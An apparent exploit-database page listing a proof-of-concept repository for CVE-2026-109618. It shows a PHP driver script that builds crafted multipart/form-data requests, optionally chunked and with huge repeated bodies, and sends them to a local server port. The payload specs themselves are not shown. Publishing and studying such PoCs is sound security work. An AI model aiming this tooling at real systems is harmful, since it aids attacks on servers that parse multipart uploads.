Exploit database

GH-9dc504b8e28c55415e7f17b0471203fc

d1a0y1bb/php2shell-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

411 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
d1a0y1bb/php2shell-pocRevision a9d3ebefc209

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/i092_compliance/scripts/send_b.php

PHP · 2,830 bytes
<?php
// driver.php <port> <path> <specfile> [chunked=1] [chunksize=262144]
$port=(int)$argv[1]; $path=$argv[2]; $spec=json_decode(file_get_contents($argv[3]),true);
$chunked=(int)($argv[4]??1); $csz=(int)($argv[5]??262144);
$bd=$spec['boundary']??'b035';
function part_head($bd,$cd){ return "--$bd\r\n".$cd."\r\n\r\n"; }
$fn=null;
// Build a stream: for huge repeats avoid materializing all in memory when sending, but we need length only for CL.
$pieces=[]; // list of [type,data]
$total=0;
foreach($spec['parts'] as $p){
  $cd = isset($p['cd_b64']) ? base64_decode($p['cd_b64']) : $p['cd'];
  $h=part_head($bd,$cd); $pieces[]=['s',$h]; $total+=strlen($h);
  if(isset($p['body_repeat'])){
    $r=$p['body_repeat']; $n=(int)$r[1]; $c=$r[0];
    $pieces[]=['r',$c,$n]; $total+=$n;
  } elseif(isset($p['body_b64'])){
    $b=base64_decode($p['body_b64']); $pieces[]=['s',$b]; $total+=strlen($b);
  } else {
    $b=$p['body']??''; $pieces[]=['s',$b]; $total+=strlen($b);
  }
  $pieces[]=['s',"\r\n"]; $total+=2;
}
$pieces[]=['s',"--$bd--\r\n"]; $total+=strlen("--$bd--\r\n");
$head="POST $path HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: multipart/form-data; boundary=$bd\r\n";
if($chunked) $head.="Transfer-Encoding: chunked\r\n"; else $head.="Content-Length: $total\r\n";
$head.="Connection: close\r\n\r\n";
$fp=fsockopen('127.0.0.1',$port,$e,$es,60); if(!$fp){fwrite(STDERR,"connect fail $es\n");exit(1);}
fwrite($fp,$head);
$buf='';
$flush=function($force=false) use (&$fp,&$buf,&$chunked,$csz){
  if(!$chunked){ return; }
  if(strlen($buf) >= $csz || ($force && strlen($buf)>0)){
    fwrite($fp,dechex(strlen($buf))."\r\n".$buf."\r\n"); $buf=''; if(!$force) fflush($fp);
  }
};
$emit=function($s) use (&$buf,$flush,&$chunked,$csz){
  if(!$chunked){ global $fp; fwrite($fp,$s); return; }
  $off=0; $n=strlen($s);
  while($off<$n){
    $take=min($n-$off,$csz-strlen($buf));
    $buf.=substr($s,$off,$take); $off+=$take;
    if(strlen($buf)>=$csz){ fwrite($GLOBALS['fp'],dechex(strlen($buf))."\r\n".$buf."\r\n"); $buf=''; fflush($GLOBALS['fp']); }
  }
};
foreach($pieces as $pc){
  if($pc[0]==='s') $emit($pc[1]);
  else { $c=$pc[1]; $n=$pc[2]; $blk=str_repeat($c,min($n,65536)); $left=$n; while($left>0){ $t=min($left,strlen($blk)); if($t==strlen($blk)) $emit($blk); else $emit(substr($blk,0,$t)); $left-=$t; } }
}
if($chunked){ if(strlen($buf)>0){ fwrite($fp,dechex(strlen($buf))."\r\n".$buf."\r\n"); $buf=''; } fwrite($fp,"0\r\n\r\n"); }
fflush($fp);
$resp=''; stream_set_timeout($fp,20); while(!feof($fp)){ $r=fread($fp,65536); if($r===false||$r===''){ if(stream_get_meta_data($fp)['timed_out']) break; usleep(1000); } else $resp.=$r; }
fclose($fp);
if(getenv('PRINT_RESP')){ fwrite(STDOUT,"RESP_LEN=".strlen($resp)."\n"); fwrite(STDOUT,$resp); }
fwrite(STDERR, ($spec['tag']??'REQ')." sent total=$total chunked=$chunked\n");